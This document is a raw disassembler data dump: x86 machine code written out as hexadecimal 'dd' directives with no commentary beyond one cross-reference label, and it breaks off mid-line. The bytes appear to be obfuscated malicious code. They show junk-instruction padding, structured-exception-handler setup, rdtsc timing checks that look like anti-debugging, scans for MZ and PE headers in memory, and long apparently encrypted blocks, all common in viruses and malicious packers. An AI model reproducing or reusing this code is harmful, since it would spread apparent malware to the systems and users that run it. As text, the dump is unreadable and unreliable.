59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 32E673C3h, 918FCA5h, 1C68083Dh, 0BBD46D64h dd 7C02B377h, 0E3240481h, 6A2BB19Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 63C355h dd 0FFFFC44Fh, 1B323595h, 0D9BD8B06h, 89061B32h, 1EAD9985h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 9A5C2534h, 60BDBF3Bh, 8E0F5A7Ch, 6, 25E9BD89h dd 0E9F5061Bh, 13Ah, 0FDBD0B57h, 5B061B03h, 0AD91858Bh dd 0DB81061Eh, 5C9AFA56h, 1800C7h, 3AB30000h, 0AD95B58Bh dd 8D0F061Eh, 0Ch, 6E8h, 22499C00h, 5FE10984h, 1229858Bh dd 0B589061Bh, 61B1CADh, 0BE9h, 3DD48700h, 64FBCB25h, 33F2AE7Dh dd 10E90689h, 0B000000h, 67489FBBh, 48D63052h, 8EB1E864h dd 894DD3F2h, 1B1BE5BDh, 45858B06h, 66061B01h, 4689FA8Bh dd 61605004h, 33243489h, 1B0BD99Dh, 91B5FF06h, 60061EADh dd 68B0Fh, 8D090000h, 61B31E5h, 5DBD8960h, 8B061B24h, 1B32B9BDh dd 68616106h, 7EF425E9h, 16243481h, 6A7EEB26h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0E2CCC353h, 8DF5699Fh, 1EAD9985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0F53628ADh dd 421179BFh, 0BB60902Bh, 4AC82CDAh, 6800Fh, 820F0000h dd 0 dd 52505061h, 5B515250h, 0D88B310Fh, 310F585Ah, 7E9h, 77E76C00h dd 0C266D1D5h, 0FF90585Ah, 1B323595h, 4E72BB06h, 6A617B1Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 64B1C355h, 2870FC3h, 8B000000h, 0FDBD03FBh dd 0C7061B21h, 1B13D185h, 306h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 68E0FA7h, 89000000h dd 1B2BD18Dh, 99BD8306h, 61EADh, 3C840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 6131C4C3h, 75EE1116h, 81E1219Dh, 97EF09D3h, 19BD2932h dd 0E9061B1Fh, 21h, 2D2D8D31h, 3050061Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0D9D8BC0h, 6A061B13h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0F898C356h, 5E9h, 0C8BE4900h, 0BD83416Fh dd 61B13D1h, 87850F03h, 8B000004h, 1B11DD9Dh, 99BD8306h dd 61EADh, 474840Fh, 0BD890000h, 61B0899h, 0AD99B5FFh dd 0BD29061Eh, 61B0BDDh, 11195FFh, 5E8061Bh, 28000000h dd 26A84B93h, 991BFDBFh, 0B58B5F50h, 61EAD8Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 63C35545h, 0B6D54A79h dd 816E562Fh, 676EABD7h, 106C771h, 6A000100h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0C16BC356h, 5E3289A5h, 0F9F3E258h, 5E850h, 0B4590000h dd 0E957C9A8h, 0Ah, 385BF1E4h, 8E0AA0EAh, 895F0EF5h, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 88130DC3h, 8EDDC133h, 95890C86h, 61B0081h, 0AD99B5FFh dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0DD6253C3h, 56538C51h, 1A1DBD89h, 0AE8061Bh dd 26000000h, 25E91BF7h, 890E7BFh, 10E9F7h, 9B880000h dd 0D992E96Eh, 99EBB860h, 6FFA77D6h, 0FF5FE3E3h, 1B1BC995h dd 0E5952906h, 80061B03h, 0B58B94D3h, 61EAD8Dh, 0FE8h dd 0A50E5800h, 74D7100h, 0E75AE8E7h, 0DF445105h, 5BDBBF0Fh dd 0D25858Bh, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0E19AC2C3h, 560F4AFBh, 0E8361B0Eh dd 9, 0A3203B75h, 844BDFC5h, 9E850h, 0E25F0000h, 0BDCBE780h dd 0E9FD3894h, 0Ch, 3EC5E0D3h, 0CE40045Dh, 83E9116Bh, 8B665B5Fh dd 0C48689D9h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 2C76C352h, 72555913h dd 5F605659h, 2429958Bh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0A19171C3h, 5FF5395Fh dd 820F082Dh, 4, 7A58BF66h, 6A04C283h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 17C3C350h dd 5089F924h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8B2A1719h, 1B18E1BDh, 0C7858D06h dd 6A061EC0h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0EDACC352h, 8689FC51h, 0B8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CAC35545h, 6FC5F36Fh dd 8B006AC4h, 1B1D099Dh, 99B5FF06h, 8B061EADh, 1B0A85BDh dd 2D95FF06h, 6A061B14h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 473FC352h, 0A9C5DD6Eh dd 0C27BF706h, 11E8h, 3C44E000h, 0A0789077h, 50153688h dd 4C546EEh, 0F38151E8h, 65CC1468h, 50F88B5Bh, 0B95BBB66h dd 60243489h, 326D8589h, 0B58B061Bh, 61B0699h, 99B5FF61h dd 89061EADh, 1B1991BDh, 9195FF06h, 0E8061B1Bh, 0Dh, 0B6D77F84h dd 0E7B40E39h, 13A5F3CFh, 0BDB529E0h, 5F061B06h, 0BFF9BF66h dd 0C81BD83h, 0F00061Bh, 1E84h, 0DBD8900h, 89061B07h, 1B13F1BDh dd 8B669606h, 0E99650DAh, 7, 170FF170h, 0FF8723D0h, 1EAD99B5h dd 0D595FF06h, 6A061B0Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0DE17C352h, 6CDD3F79h dd 0B70FB1A8h, 99B5FFDEh, 6A061EADh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 6CA8C351h dd 0C11C42C5h, 0B589B8F0h, 61B3345h, 1A0995FFh, 6A061Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 81664DC3h, 8BB5A2CBh, 1B16999Dh, 0A5BD8306h, 2061B07h dd 60840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 37EAD9C3h, 0E96427F9h, 0BD8B5378h dd 61B10BDh, 3031858Bh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 7D1D30C3h, 949F8EDh dd 1B2A3D9Dh, 0FA8B6606h, 660000C6h, 85C7D88Bh, 61B2BD5h dd 0 dd 2D3D8529h, 66E9061Bh, 6AFFFFF3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B42C355h dd 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 5633A7F7h, 0E8CB338Ah, 0Bh, 0B07A7756h dd 0F9C0F70h, 0FCAF5C08h, 3595895Bh, 81061B19h, 7476C3h dd 0D18D8B00h, 68061B10h, 1CF5h, 4144B966h, 858B565Fh dd 61B08EDh, 8033FF58h, 8B5EE1C9h, 1B2B2585h, 0D7F68106h dd 0F95ECC79h, 0D08EEE81h, 8B66497Ch, 38F681D6h, 894EA41Bh dd 1B18F58Dh, 0F338906h, 1084h, 9E96000h, 7000000h, 6504A0A4h dd 0F09A4BB5h, 4EB8361h, 0EF81F8B4h, 1, 0E850Fh, 0BA660000h dd 1BE9E1FBh, 0B3000000h, 986F29DFh, 6A1958Bh, 96E9061Bh dd 0CFFFFFFh, 0FA4C1BECh, 794EBF76h, 0BAA74Fh, 81F00D30h dd 0EAh, 14C283F0h, 1CE99589h, 0EA83061Bh, 3B858D14h, 50062027h dd 35FF64h, 64000000h, 2589h, 0E80000h, 58000000h, 25C22Bh dd 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h, 0D0033C50h dd 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh dd 1F158589h, 4003061Bh, 50B70F3Ch, 0ED958906h, 8B061B18h dd 95895050h, 61B3271h, 0F805h, 0C508B00h, 9589D103h, 61B1779h dd 89085003h, 1B320D95h, 58F6406h, 0 dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0 dd 59000010h, 83C3C033h, 1B1335BDh, 840F0006h, 24h, 239D85C6h dd 6847061Bh, 0D49AA7D2h, 2F11B5FFh, 858D061Bh, 61E7046h dd 6AD0FFh, 8589D0FFh, 61B0829h, 8D8DD38Bh, 6202848h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A9C35646h, 68F598E6h dd 0F1A17C9h, 8D89F3BFh, 61B2429h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 15C35343h, 5DA3B8E8h, 9D899F97h dd 61B2BF1h, 76585C7h, 5958061Bh, 0B5290000h, 61B0645h dd 13D185C7h, 61Bh, 0BD2B0000h, 61B2A19h, 1D45B5FFh, 6A061Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0E0DC61C3h, 0DE974h, 0FF9A0000h, 0D134913Ah, 81E7A637h dd 8BAD8661h, 1B0B11BDh, 8595FF06h, 80061B2Fh, 6AD1D7h dd 220595FFh, 0C08B061Bh, 0DCE578EBh, 17F36104h, 4A8DAA94h dd 3F67CBE1h, 52E578FBh, 620EBF36h, 4EF43ECAh, 0F338EA0h dd 4BAAE299h, 8DA9FAE1h, 985FFAC7h, 0BADA3444h, 0F08DC89Ch dd 7AFDE634h, 656C48EEh, 0B3E298ADh, 7A261E71h, 5FA90CF9h dd 2CE50A31h, 0F3CA69E8h, 0E4345E36h, 602ADE16h, 107AD723h dd 8800C672h, 6F4BA896h, 3701C72Ah, 0F3048656h, 461D7B48h dd 89ECBACAh, 0E0E37E4Bh, 8D8DC0F5h, 6202996h, 0BF0FFC60h dd 8D8961D7h, 61B2429h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0F1C35343h, 849313DEh, 6585C7D8h, 14061B07h dd 8900005Eh, 1B086585h, 0D185C706h, 61B13h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0E98FC352h, 12h, 0BB080465h, 49AD3C7Ah, 3527C051h dd 0FA94E743h, 0B5FFC8EEh, 61B0DCDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 39C35646h, 0B9E47D0Ah, 7A8B22Dh dd 2F8595FFh, 8B0F061Bh, 8, 0EDB58B53h, 5B061B19h, 6880Fh dd 0B52B0000h, 61B0BADh, 95FF006Ah, 61B2205h, 6BEBC08Bh dd 1D64B21h, 9EC951B0h, 12497DCh, 3454DAF6h, 35E52DAAh dd 0AFE915F9h, 0E59C6D30h, 2EDC874Eh, 0E8BC068Ch, 0EB093ED9h dd 75EAA7F8h, 79DCA871h, 0B92B255Dh, 42C90DDAh, 2C914278h dd 0EA0A34F4h, 0B1084A1Ah, 0E747BEAEh, 5C5462A8h, 0F51E9EBBh dd 9A2E821Eh, 44357E45h, 0A24008F3h, 7DB86224h, 0F86F09DAh dd 3AC106DBh, 0E808C243h, 7, 0DEC4500Bh, 0E9158FC8h, 7 dd 0A238634Ch, 59DA876Ch, 1B459D8Bh, 0C181061Bh, 61E2h dd 8E960h, 0E3B00000h, 0B8172772h, 9D8B1FD8h, 61B09B5h dd 2B4ABA61h, 0EA816D1Dh, 6D1D1300h, 2F25BD8Bh, 31FF061Bh dd 235EFE8Bh, 1B2B91BDh, 0EBF68106h, 8A63904Dh, 0F6C681E7h dd 0F9674DECh, 0C79CF681h, 85896D99h, 61B2BF1h, 89605056h dd 1B084D8Dh, 61616006h, 89018F5Bh, 1B08ED95h, 4E98306h dd 0E159D89h, 0EA81061Bh, 1, 15850Fh, 9D090000h, 61B2271h dd 1DE9h, 9A4BB500h, 72EBFBF0h, 0BB8AA81Fh, 25509357h dd 0FFFF91E9h, 33C10FFh, 927DC0C7h, 8D8D5E05h, 6202B4Ch dd 0FE960h, 0DC7E0000h, 7EC701F7h, 0F0522747h, 382C95A3h dd 61DA8AA5h, 6D1C281h, 8D89087Ch, 61B2429h, 1331858Bh dd 85C7061Bh, 61B0765h, 5CA0h, 85C7D08Bh, 61B13D1h, 0 dd 0B5FFF18Bh, 61B07B5h, 6890Fh, 85890000h, 61B247Dh, 2F8595FFh dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 6A96C3h, 220595FFh, 0C08B061Bh db 0EBh, 3Dh word_580046 dw 5152h ; DATA XREF: ___:off_427A80o ; ___:00427A88o ... dd 57E85AFBh, 42A8C7DBh, 24090161h, 0E5075C3h, 0E646412Dh dd 10A437AFh, 0A52D6A7Ch, 6AFAD8ADh, 978AD21Bh, 0EAA1C2F2h dd 0CB20936Fh, 4FE862B4h, 255B1C1Ch, 0B55F899h, 0E811679Dh dd 5, 0E26D06EFh, 2ABF6636h, 0BD895A28h, 61B0A11h, 640BC281h dd 0BD030000h, 61B3071h, 18DABBh, 0CFB70F00h, 7E9028Bh dd 64000000h, 0A318C6BAh, 0F081437Dh, 1438C450h, 3B06E781h dd 0F0816D45h, 43A47B52h, 7719589h, 0C081061Bh, 799ADC33h dd 14E9h, 0DDB78700h, 4618F3D4h, 480CC2DFh, 65B9ECCAh dd 744A3E28h, 28F50ABh, 0EF816660h, 9D01960Bh, 61B0739h dd 2EA8361h, 4A4ACE8Bh, 0F4BF28Bh, 0B85h, 19E900h, 0BA7F0000h dd 88535E4Fh, 0C3E98166h, 0FF86E90Dh, 0B830FFFFh, 2739115Bh dd 8D4C1124h, 202CD98Dh, 159D3306h, 89061B0Ch, 1B24298Dh dd 0C19D8B06h, 0C7061B00h, 1B076585h, 71C006h, 31BD8900h dd 0C7061B11h, 1B13D185h, 6, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0A2E62321h dd 0EEDA8166h, 49B5FF04h, 8B061B25h, 1B190D85h, 0A7E1BA06h dd 95FF6CF4h, 61B2F85h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0A1C35141h, 3319A06Fh, 0CB00FF00h, 75BD2954h dd 6A061B16h, 595FF00h, 8B061B22h, 4D1AEBC0h, 29181CEBh dd 48AEF3A2h, 0DA354CACh, 0A1583351h, 71B43060h, 795305D9h dd 712ADEDAh, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h dd 2633A9A9h, 265AF198h, 5AEEF5Eh, 4E603383h, 0A5E4FFB4h dd 922F867h, 0A3BEA083h, 202D23DEh, 0A3BA7967h, 2028E659h dd 3506D71Bh, 29333383h, 2633831Dh, 2EB6C098h, 763586B5h dd 0AC9D615h, 0D963AFB8h, 3D01150Dh, 2664839Eh, 23593598h dd 0B391F15h, 0AB634BB8h, 61F5C1Dh, 0B3CC039Eh, 20288585h dd 0A23C1493h, 26336AA1h, 0B39B015h, 0CE639CB8h, 26334DAAh dd 0A3BEF6D8h, 20137E88h, 2CB624C8h, 7635F4B5h, 0B42FF67h dd 0E2B03383h, 2CB61794h, 76356DB5h, 0AC92315h, 0D96355B8h dd 3D01680Dh, 26513D9Eh, 0AD666A98h, 74646474h, 2E4E11CEh dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h dd 7F6C8EC6h, 2637A851h, 0ACB8815h, 0ABBE9CB8h, 201363B5h dd 9320h, 0E7FC7800h, 7310271h, 0C783C8D0h, 850F4904h dd 0FFFFFFF2h, 2E2DB58Dh, 8D8D0620h, 6202E4Ch, 0E983CF2Bh dd 20C88B05h, 0AC67F181h, 410158EAh, 80131DAh, 0C7581232h dd 264DBB6Bh, 2545B336h, 80012B36h, 83507332h, 5D56088Fh dd 14A9EFDDh, 0A50B63Dh, 46B3232h, 202DA62h, 59213232h dd 0C4886AF1h, 4803616h, 20173616h, 40413232h, 8CD7E6F1h dd 548CD9B2h, 20139DBh, 95CA832h, 0E4F25228h, 372CAEC7h dd 91B4B96Dh, 93072935h, 131F978Fh, 800E3234h, 2013201h dd 0E9503258h, 80013231h, 19C26B12h, 24257EBBh, 142576B3h dd 8013229h, 7DC26373h, 75558950h, 8A66DEAAh, 9B03EB87h dd 41DCDB34h, 9BE3232h, 80434669h, 58F2B954h, 0A7A48952h dd 926022E2h, 2E14AFB9h, 7E8A3429h, 644D333Dh, 760158CCh dd 100131DAh, 0CB5F1232h, 2075BB6Ch, 2645B336h, 1012B36h dd 43577432h, 0CAB849D6h, 65BA223Eh, 40240A37h, 279CBF33h dd 0B5F3429h, 6859EC85h, 2E96232h, 0A0013232h, 0C959F16Ah dd 0A1051676h, 0B051676h, 48013232h, 2BF9F162h, 7A31C6AAh dd 286136F2h, 9B03BF8Fh, 80B63D34h, 41BC1B53h, 93072933h dd 0D58B1EF2h, 8F673AB9h, 8361CE7Ah, 7D9849E2h, 9BC030Dh dd 21072924h, 1638B354h, 0BB853DCDh, 5F013232h, 40121DBh dd 1236D932h, 0F395DFBh, 50359877h, 692133D4h, 5DEE2FE8h dd 19C0B16Ch, 0E0563258h, 4013231h, 5DC26D12h, 5254EBBh dd 842576B3h, 40013224h, 4CC26575h, 0A70E9F57h, 0E138B2C1h dd 4ECB73Dh, 89673232h, 40B9C1h, 8AF887BBh, 88023429h dd 391087BBh, 16E83429h, 82013232h, 0C9137816h, 7C0B1E9h dd 0E9543258h, 80013231h, 1DC26F12h, 24255EBBh, 142576B3h dd 801322Bh, 5EC26777h, 8CC9352Ah, 0F9BE3DB9h, 0CB910BB3h dd 0C50EB971h, 200132A9h, 1088FBBh, 840E3429h, 4013234h dd 0CBCAF1Bh, 8C8C3429h, 861A7EE1h, 0A8573258h, 20013231h dd 4EC26C12h, 0C2546BBh, 2576B3h, 2013225h, 0FFC26474h dd 8FD3119Fh, 400129B2h, 2013DA32h, 0A4D63232h, 0B89E012Ch dd 5BF521Dh, 2FA94AFAh, 0EEAEDC59h, 0DAF6B954h, 4001318Ah dd 0F5B41B32h, 0EF07291Ch, 5A0158D3h, 40131DAh, 0C15B1232h dd 2555BB68h, 0A445B336h, 40012636h, 0E3537032h, 1E863D9Fh dd 0E1013232h, 401323Bh, 90C2796Eh, 0CB3C2E9h, 0E1BCBB83h dd 21072929h, 0C8543258h, 10013231h, 55C26F12h, 255EBBh dd 62576B3h, 1013228h, 3AC26777h, 632FAF62h, 0F98AC4B7h dd 3E4F8FBFh, 858C3412h, 221033Dh, 9082468Ah, 88840133h dd 0AB072939h, 20E8F3FDh, 0AC67F181h, 410158EAh, 80131DAh dd 0C7581232h, 264DBB6Bh, 2545B336h, 0F305E983h, 6AC08BA4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0D356C356h, 3B590111h, 6A8712B4h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0DE3BC353h, 319EA435h, 81662C3Bh, 8B67ABDAh, 13E8C3h dd 3130000h, 14F8A24Ch, 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h dd 0C9852965h, 58061B03h, 6880Fh, 8D8B0000h, 61B32F1h dd 70C5C081h, 0BE80000h, 13000000h, 0EC9F3F2Bh, 9E38DF3Ch dd 0B523E2FDh, 61B1A5Dh, 685Eh, 85890000h, 61B0785h, 0CE95Bh dd 9A8A0000h, 0AF730799h, 19D9DD1Ah, 148B6C8Ah, 0B58B5618h dd 61B293Dh, 1CF2815Fh, 603FFF44h, 8BD7BF0Fh, 1B24C98Dh dd 0C2816106h, 50200F02h, 2EC5BD29h, 0F281061Bh, 5E849966h dd 0D1816660h, 52618BD1h, 845BD8Bh, 48F061Bh, 0A6D9B918h dd 0BD097CE7h, 61B2AF5h, 0E6E1EB81h, 31607EB1h, 1B0C7D95h dd 0CE906h, 5D250000h, 2A605B39h, 80F677F2h, 8161D8ABh dd 0B1E6DDC3h, 0DE97Eh, 54450000h, 2A770629h, 1A1012BFh dd 811811D8h, 0FF9024FBh, 73850FFFh, 5FFFFFFh, 0B0472F0Bh dd 9925BC99h, 9F473AE2h, 0EACEF73Ah, 2347DBBFh, 0B9AEBA82h dd 765A8EECh, 0E64523F4h, 0A98D6B3Fh, 50DBBA84h, 9D870701h dd 22AEBC99h, 0A0FDEA9Bh, 91AD0242h, 4F27BA82h, 63B59723h dd 14E3270Fh, 8A51BC9Fh, 112DE2D9h, 50B58BABh, 7BB9CE82h dd 91AD02D1h, 4F27BA82h, 63B59723h, 1192270Fh, 8A51BC9Fh dd 5F2FE2D9h, 1259FF31h, 0C3F8BAE8h, 95AEBA81h, 946DE4A2h dd 618ACE0Bh, 0B68AFE03h, 59AEBA9Eh, 976DECC4h, 34DA7997h dd 0A2D2BFAAh, 1EAC7702h, 0CABC5242h, 0C15BA82h, 0A5355549h dd 5EA67A4Eh, 0AEEFEBFAh, 0ECD0CA5Bh, 5073F0Bh, 0F3F7BC99h dd 0CAC4620Eh, 65AD52D7h, 0EF8EBA82h, 3527E741h, 0E82FBEA6h dd 56BABEA6h, 7EEBBA82h, 91065F41h, 0CEDC3E8Dh, 65C4BA82h dd 0B2AD52D3h dd 8EBA82h, 0E027E341h, 122FBEA6h, 2BB9BEA6h, 0C4EFBA82h dd 0DA8E6841h, 0C01339FAh, 0B2A8A19Ch, 59833E8Dh, 4F2EBA82h dd 52905396h, 2BC4BA82h, 95AD52D0h, 908EBA82h, 3127E041h dd 0F62FBEA6h, 59BABEA6h, 0FEECBA82h, 0E9A12541h, 4A3B3149h dd 2BA8A185h, 0C8AE9D82h, 8DF9BAE8h, 0B2AEBA81h, 66DE5A2h dd 0A88AC60Bh, 528AFE03h, 2BAEBA97h, 796DEDC5h, 0D52B376Eh dd 66A8A40Bh, 0A9A3B717h, 567E4584h, 0ACAE9203h, 5846DA82h dd 2AAEBA82h, 33E29D93h, 0D2D4B53Ch, 9FF4A7A5h, 0BF47E2F6h dd 77AEBA82h, 905BBE32h, 67BB4BB4h, 1A38C962h, 9A6E3FE3h dd 0CAAE5306h, 0E47F3182h, 33C8EDBAh, 7B2BB579h, 44AEBA82h dd 56AEBA8Ah, 0DE256C07h, 2BBCEF7Bh, 0ACF16D09h, 67AAC203h dd 72AB580h, 0D0AEBA81h, 0B7A29717h, 6E2FDC84h, 0AEA1DA1Eh dd 95AEBA2Ch, 22FBBAE8h, 65AEBA81h, 0EF6DE7A2h, 5D8AD60Bh dd 0A88AFE03h, 56AEBA97h, 2A6DEFC7h, 95A653F3h, 0A93FBA82h dd 297CA7ADh, 0CA2E82E1h, 0DCA15280h, 0ACAEBAF8h, 0BEFCBAE8h dd 2BAEBA81h, 0CF6DE0A2h, 0CE8AEE0Bh, 618AFE03h, 0B2AEBA96h dd 716DE8C0h, 0B4372F09h, 0D7C8BC99h, 80AEBCFAh, 95E23F8Dh dd 0CAC4BA82h, 65AD52D4h, 0EC8EBA82h, 2D27E441h, 0E82FBEA6h dd 56B3BEA6h, 7DE8BA82h, 0CEE9D841h, 0C8483924h, 8CBD4CDAh dd 0B2AEB99Ah, 0B1F9BAE8h, 0ACAEBA81h, 96DE5A2h, 2F8AC60Bh dd 918AFE03h, 0CAAEBA95h, 896DEDC5h, 0BDCC0622h, 5910403Dh dd 21E8BB83h, 4827A507h, 0EA333184h, 6AA8A190h, 4F950C52h dd 0C82AB542h, 0D8AEBA80h, 5A46EC82h, 8CAEBA82h, 0DFF079DCh dd 0AAAA9EF6h, 88AA9EC6h, 8CAEBA82h, 399D79D4h, 4DEC1CEAh dd 0EFE3DC50h, 91C88203h, 0D3A1B880h, 2BAEBAACh, 95BF52D4h dd 0AA65BA82h, 5E487038h, 5E26FCF9h, 8CD5FAF5h, 26771D7Fh dd 0D7F5E36Eh, 16C8BCFAh, 11A1C0DDh, 0CAAEB802h, 44BB3F0Bh dd 33C8BC99h, 56CE26BAh, 0ACAE0907h, 0AED082h, 2BAEB96Ah dd 56F09A82h, 0EEDA33DCh, 41EA3B86h, 0B2AEA086h, 9AF8FC82h dd 63ADBE14h, 0BF0669BDh, 2BAEBA90h, 928541B2h, 0F02537A7h dd 9B494717h, 7D837EB7h, 92253FBBh, 44ACC202h, 56C03F8Dh dd 2BC4BA82h, 95AD52D4h, 948EBA82h, 1127E441h, 0F62FBEA6h dd 59B2BEA6h, 0FAE8BA82h, 12F8BF41h, 0FA2A9058h, 827AFE5h dd 0CCB5A23Bh, 63D63BE4h, 37A17A82h, 59AEBABAh, 44FDBAE8h dd 56AEBA81h, 706DE1A2h, 918AE60Bh, 0CE8AFE03h, 65AEBA98h dd 6D6DE9C1h, 9CB4BD78h, 2BA12522h, 56AEBA81h, 0C2B05D02h dd 95AEBB46h, 0EB1331D1h, 3EA8A1B0h, 0B3AFBA3Ch, 0EAED0FCh dd 0ACAEB96Ah, 95F19A82h, 0FD233DDh, 0B1EA3B86h, 0CAAEAD86h dd 0A6F9FD82h, 6BA93548h, 0D0B13F0Fh, 0ACC4BC9Ch, 56AD52D7h dd 768EBA82h, 0F927E741h, 8E2FBEA6h, 65BABEA6h, 0E7EBBA82h dd 5446CD41h, 0F6AEBA82h, 595E74F5h, 9C83669Eh, 0EDF45161h dd 0CD9F2F09h, 9AF5BC99h, 3FAFDA52h, 5FB59133h, 0ACAEBF6Bh dd 3D954C82h, 4DCFD26Eh, 100E7A39h, 0DB2AB542h, 0FAEBA83h dd 0B146EB82h, 79AEBA82h, 25F779DBh, 0D7AA9ECEh, 32AA9EC6h dd 0D4AEBA82h, 0D5AC79D3h, 987703FAh, 0BD468202h, 59AE8507h dd 0FCAED082h, 56AEB96Ah, 0E8F69A82h, 0B1EA33DAh, 0EEEA3B86h dd 65AEA786h, 71FEFA82h, 0E2DB7C6h, 9460758Eh, 0D65B0965h dd 24DDBFFAh, 95AEB507h, 4A713182h, 6AFDBDFAh, 0B2AE6D06h dd 8E19B582h, 23963BE4h, 0CB2BB587h, 41AEBA82h, 9646E882h dd 0EAAEBA82h, 0ECF479D8h, 33AA9ED6h, 4FAA9EC6h, 0EEAEBA82h dd 0FE7179D0h, 2DD63AC8h, 0E02BB5EAh, 0A0AEBA82h, 6646EB82h dd 92AEBA82h, 0D0F779DBh, 2DAA9ECEh, 4FAA9EC6h, 6AAEBA82h dd 0DB1D79D3h, 0F11CA4A7h, 0DDEBC23Bh, 0CA2FDCF3h, 568B4589h dd 0ACAEF907h, 172B3382h, 0C2A8A18Bh, 95AEBAE6h, 22FCBAE8h dd 65AEBA81h, 0E86DE0A2h, 5D8AEE0Bh, 0A88AFE03h, 56AEBA9Eh dd 286DE8C0h, 740C6D39h, 0A949D2B1h, 65AEB56Bh, 84354A82h dd 469D2414h, 2A8667E1h, 0E642C9F4h, 0AAA17AA9h, 95AEBA90h dd 0CAAEB76Bh, 79108F82h, 69C2ECFFh, 93860B98h, 0B4473F4Eh dd 0BFAEBA82h, 2BAEBA8Ah, 51006DE5h, 0A22C322Eh, 65AEBB3Ah dd 0E7333382h, 9A8A1A6h, 9366023Dh, 72AA3394h, 0C3F9BAE8h dd 95AEBA81h, 956DE5A2h, 618AC60Bh, 0B68AFE03h, 59AEBA9Fh dd 626DEDC5h, 3725EC8h, 8E4D63E5h, 301333C1h, 47A8A1A8h dd 459CD43Fh, 0F4233784h, 0E1A89ABAh, 0DBC8EFA1h, 5A1B3F81h dd 0E485BC99h, 3CAC5343h, 0FCB3AFBAh, 6A0EAED0h, 82ACAEB9h dd 0DD95F19Ah, 860FD233h, 83B1EA3Bh, 0A4F305E9h, 9E858h dd 2F900000h, 0E8988340h, 81EF3AA5h, 94DC3BC1h, 0F605A33h dd 8E9CBB7h, 0D1000000h, 21F38B24h, 61A6B95Fh, 840FC00Bh dd 7Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah dd 0BAC35646h, 6CEDA99Ah, 0B966CB98h, 0B58D70D5h, 61B4CD3h dd 8D0FD78Bh, 17h, 0BE8h, 0A90FC300h, 0C1E2A608h, 0B763997Eh dd 800Fh, 0B85F0000h, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0C35646h, 0B31CF4D4h, 0B2D958Bh, 0E6FF061Bh dd 0DA73B966h, 52006A40h, 3E8h, 0C35A2000h, 